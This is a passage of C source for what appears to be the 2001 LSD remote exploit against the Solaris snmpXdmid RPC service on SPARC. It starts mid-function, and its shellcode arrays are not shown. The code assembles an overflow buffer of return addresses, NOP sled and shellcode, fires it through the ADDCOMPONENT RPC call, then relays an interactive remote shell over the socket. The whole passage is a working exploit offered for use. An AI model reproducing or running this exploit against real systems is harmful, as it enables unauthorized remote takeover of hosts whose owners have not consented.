    char buffer[140000],address[4],pch[4],*b;
    int i,c,n,vers=-1,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/\n");
    printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");

    if(argc<2){
        printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){
        switch(c){
        case 'p': port=atoi(optarg);break;
        case 'v': vers=atoi(optarg);
        }
    }
    switch(vers){
    case 7: *(unsigned int*)address=0x000b1868;break;
    case 8: *(unsigned int*)address=0x000cf2c0;break;
    default: exit(-1);
    }

    *(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
    *(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);

    printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    i=sizeof(struct sockaddr_in);
    if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
        struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
        ioctl(sck,(('S'<<8)|2),"sockmod");
        nb.maxlen=0xffff;
        nb.len=sizeof(struct sockaddr_in);;
        nb.buf=(char*)&adr;
        ioctl(sck,(('T'<<8)|144),&nb);
    }
    n=ntohs(adr.sin_port);
    printf("port=%d connected! ",n);fflush(stdout);

    findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
    findsckcode[12+3]=(unsigned char)(n&0xff);

    b=&buffer[0];
    for(i=0;i<1248;i++) *b++=pch[i%4];
    for(i=0;i<352;i++) *b++=address[i%4];
    *b=0;

    b=&buffer[10000];
    for(i=0;i<64000;i++) *b++=0;
    for(i=0;i<64000-188;i++) *b++=nop[i%4];
    for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    req.name.len=1200+400+4;
    req.name.val=&buffer[0];
    req.pragma.len=128000+4;
    req.pragma.val=&buffer[10000];

    stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
    printf("sent!\n");

    write(sck,"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}